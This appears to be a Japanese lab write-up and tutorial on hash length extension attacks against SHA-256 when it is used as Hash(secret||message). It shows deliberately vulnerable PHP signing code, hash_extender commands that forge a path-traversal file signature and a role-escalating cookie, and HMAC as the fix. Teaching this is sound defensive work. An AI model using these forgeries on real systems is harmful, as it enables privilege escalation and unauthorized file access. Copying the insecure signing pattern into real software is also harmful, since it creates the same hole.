はじめに
SHA-256 は安全なハッシュ関数である」
これは正しいです。
しかし、使い方を間違えれば SHA-256 であっても攻撃可能になります。
本記事では、実際の Web アプリの脆弱コードを題材にして、
- Length Extension Attack とは何か
- なぜ SHA-256 でも成立してしまうのか
- 秘密鍵を知らずに署名を偽造できる理由
- hash_extender を用いた実践攻撃
- 正しい修正方法(HMAC)
を 原理 → 実装 → 攻撃 → 防御の流れで解説します。
1. Length Extension Attack とは
Length Extension Attack(長さ拡張攻撃)とは、
Merkle–Damgård 構造を持つハッシュ関数の性質を悪用した攻撃です。
影響を受ける代表的なアルゴリズム:
- MD5
- SHA-1
- SHA-256
- SHA-512
一言で言うと
既存のハッシュ値を「途中状態」として使い、
元のメッセージを知らなくてもデータを後ろに追加できる攻撃
2. 攻撃が成立する前提条件
この攻撃は「万能」ではありません。
以下の条件がそろったときのみ成立します。
2.1 Merkle–Damgård 構造のハッシュ関数を使用している
Merkle–Damgård 型ハッシュ関数は、次のように動作します。
- メッセージを固定長ブロックに分割
- 各ブロックで内部状態(state)を更新
- 最終的な内部状態がハッシュ値になる
重要なポイント
ハッシュ値 = 最終内部状態
つまり、攻撃者がハッシュ値を知っているということは
「内部状態を知っている」のと同じ意味になります。
2.2 ハッシュの使い方が次の形式
hash = Hash(secret || message)
- ここが最大の地雷
3. 攻撃の仕組み
3.1 前提
サーバーが次のように署名しているとします:
token = SHA256(secret || message)
攻撃者が知っているもの:
messagetoken
3.2 攻撃者がやること
-
tokenを 内部状態として再利用 -
messageの 正しい padding を推測 - 追加データをそのまま続けてハッシュ
結果:
new_message = message || padding || extra_data
new_hash = 正しく計算された hash
サーバー側では:
Hash(secret || new_message) == new_hash
検証に成功してしまう
4. hash_extender を使った実践攻撃
4.2 署名攻撃
実際の脆弱コード
require_once("secrets.php");
function sign($str, $secret) {
return hash('sha256', $secret . $str);
}
// Retrieve and sanitize file and signature parameters
$file = isset($_GET['file']) ? $_GET['file'] : '';
$signature = isset($_GET['signature']) ? $_GET['signature'] : '';
if ($file && $signature) {
// Validate the signature
if (sign($file, $SECRET) === $signature) {
// Sanitize the filename, force UTF-8 encoding, and remove malicious characters
$file = mb_convert_encoding($file, 'UTF-8', 'binary');
$file = preg_replace('/[^\w\/.]/', '', $file);
// Set the file path in the images folder
$filePath = __DIR__ . "/images/" . basename($file);
// Check if the file exists and if it matches a defined product
if (file_exists($filePath)) {
$product = $products[$file];
// Display product details
問題点
-
署名検証が最優先
-
署名が正しければ内容は信用される
-
署名の生成方式が脆弱
ここでの目的は、ファイルパラメータ(例:"1.png")に追加データ(/../4.png)を付加して不正なファイルにアクセスし、変更されたファイルパスに対して有効なSHA-256署名を生成することです。
hash_extenderを使って
root@ip-10-48-117-100:~/Rooms/LengthExtensionAttacks/hash_extender# ./hash_extender --data 1.png --signature 02d101c0ac898f9e69b7d6ec1f84a7f0d784e59bbbe057acb4cef2cf93621ba9 --append /../4.png --out-data-format=html
Type: sha256
Secret length: 8
New signature: a9f7878a39b10d0a9d3d1765d3e83dd34b0b0242fa7e1567f085a5a9c467337a
New string: 1%2epng%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00h%2f%2e%2e%2f4%2epng
Type: sm3
Secret length: 8
New signature: b3503f8697adb6906472c4115b8732ceed307217e19b808bdb94795c2021fca6
New string: 1%2epng%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00h%2f%2e%2e%2f4%2epng
-
data: 署名する元のデータを指定します(「1.png」) -
signature: 「1.png」の元のハッシュ署名 -
append: 追加する新しいデータを追加します ("/../4.png") -
out-data-format=html: 変更された Web 要求を模倣するために出力を HTML 形式でフォーマットします
新しいリクエストを構築
結果を得て、攻撃成立です。
4.2 署名付きCookieの変更
脆弱コード
require_once("secrets.php");
// Default authorization status
$auth = false;
// Check if the 'auth' and 'hsh' cookies are set
if (isset($_COOKIE["auth"]) && isset($_COOKIE["hsh"])) {
$auth = $_COOKIE["auth"]; // Get the original auth string
$hsh = $_COOKIE["hsh"];
// Verify the hash to ensure integrity
if ($hsh === hash("sha256", $SECRET . $auth)) {
// Instead of trying to parse, check if 'role=1' exists in the string
if (strpos($auth, 'role=1') !== false) {
echo "<html><head><title>Admin Panel</title></head><body>";
echo "<h1>Welcome, Admin!</h1><br><br>";
} elseif (strpos($auth, 'role=0') !== false) {
echo "<html><head><title>User Panel</title></head><body>";
echo "<h1>Welcome, User!</h1><br><br>";
}
}
}
hash_extenderを利用して
root@ip-10-48-117-100:~/Rooms/LengthExtensionAttacks/hash_extender# ./hash_extender --data 'username=user;role=0' --append ';role=1' --signature bfe0fa5c36531773c73dcc8d2a931301f69cf9add05a1f35dcfa2d48b44c37f0 --format sha256 --secret 8 --out-data-format=html
Type: sha256
Secret length: 8
New signature: daf3dbdc47fd93fabe110ef0ed58a39d1eb59c234a7fd66d0fe2e1dd76f1e37f
New string: username%3duser%3brole%3d0%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%3brole%3d1
新しい値を使ってCookieを変更して、結果を得て、攻撃成立です。
5.なぜ HMAC では防げるのか
正しい署名方法は以下です。
hash_hmac('sha256', $message, $secret);
HMAC の構造(簡略)
H( key ⊕ opad || H( key ⊕ ipad || message ) )
Length Extension Attack が失敗する理由
- 外側の hash は 内部状態の続きではない
- 攻撃者は 中間状態を再利用できない
- padding を操作する余地がない
理論的に攻撃不可能
まとめ
- Length Extension Attack はアルゴリズムの欠陥ではない
- ハッシュ関数の誤用によって生まれる設計脆弱性
- SHA-256 でも使い方次第で攻撃可能
- 署名・改ざん検知には必ず HMAC を使う
「強い暗号」を使うことより
「正しい設計」をすることの方が重要





